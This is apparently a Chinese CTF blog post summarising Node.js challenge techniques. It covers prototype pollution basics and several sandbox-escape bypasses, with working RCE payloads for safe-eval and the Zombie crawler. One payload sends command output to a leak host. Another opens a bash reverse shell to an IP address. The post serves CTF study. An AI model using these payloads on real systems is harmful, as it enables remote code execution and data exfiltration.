Nodejs Summary

本篇 Blog 的内容更像是一页目录,主要记录在做题过程中所遇到的关于 nodejs 类型的题目

以及对此类型题目所以需要的知识点进行总结,分类,可点击 相关题目中的链接以查看题目的具体解答过程.

0x01

1.1 原型链污染

在讲原型连污染之前,我们得知道什么是原型链.

javascript特性:

  • javascript中,只有一种结构,对象

1.1.1 javascript中的对象

即使 javascript中只有对象一种结构,但对象又分为: 普通对象以及函数对象.

区分:

​ 函数对象: 通过new Funtion()创建的对象都属于函数对象

​ 普通对象: 除函数对象外,其他所有对象都是普通对象.

1.1.2 构造函数与原型对象

简单描述下构造函数的定义:

通过 new FunctionName 来实例化对象的函数叫构造函数.举个例子.

function A(){};
let a = new A();

2行中A() 就构造函数.

原型对象

前面提到过javascript的对象分为普通对象和函数对象.

两者的区别在于函数对象拥有一个prototype属性.这个属性所指向就是原型,由于原型是一个对象,所以也称原型对象.举个例子:

image-20210823033238625

function Test(){} 用于声明一个函数对象.

使用typeof Test 确认这是个函数对象,

Test.prototype 查看Test函数对象中的 prototype属性,也就是Test的原型对象

typeof Test.prototype 用于判断原型对象的类型,属于对象.

到这里,你应该了解和记住原型对象就是一个函数对象的prototype属性.

1.1.3 _proto_

除了函数对象存在特殊属性prototype之外,所有对象都还存在一个内置属性__proto_.

此内置属性用于指向创建他的构造函数的原型对象.举个例子:

function A(){}
let test = new A();
test.__proto__ == A.prototype

image-20210823040035846

因为 test 是由构造方法A() 所创建,而A的原型对象为A.prototype,因此test.__proto__ == A.prototype的结果为True

到这里,你应该了解和记住对象的__proto__属性的指向.

1.1.4 原型链与原型链污染

由相互关联的原型组成的链状结构就是原型链.

JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾

原型链污染即用户的输入能够影响到原型对象的或指向或属性.

merge

clone

1.1.5 参考文章

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.jianshu.com/p/dee9f8b14771

1.2

0x02 Bypass

2.1 safe-eval Rce

2.1.1

safe-eval version<0.4.0

2.1.2 payload

var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc.exe').toString();")

2.1.3 相关题目

2.1.4 参考链接

https://snyk.io/test/npm/safe-eval/0.3.0

2.2 setTimeout()

浏览器内部使用32位带符号的整数来储存推迟执行的时间,这意味着setTimeout最多延迟2147483647秒。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由.

2.3 Json_decode()

json_decode有个特性就是会自动解码unicode编码。因此可以利用unicode绕过过滤

2.4 Zombie

2.4.1 简单描述下漏洞原理:

在较低版本的Zombie中(参考链接中Zomie@6.1.2),当使用Zombie去爬取页面时,会执行页面的js代码.

2.4.2 payload

这里列出参考的两个payload:内容均放在自己的服务器上.

1.

<script>
try {
    let out = constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString();
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "xxx/leak?flag=" + encodeURIComponent(out), true);
    xhttp.send();
} catch(err) {
}
</script>

2.

var codeToExec = "var sync=require('child_process').spawnSync; " +
    "var ls = sync('cat', ['./resources/test.html']); console.log(ls.output.toString());";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.require;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()";

3.

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/47.98.147.229/7777 0>&1'],);console.log(ls.output.toString());")()</script>

请酌情更换相应的执行函数及参数

相关题目

2021 祥云杯 web_crawler_z

2.4.4 参考链接:

https://ha.cker.in/index.php/Article/13563

0x03

3.1

3.2

持续完善中…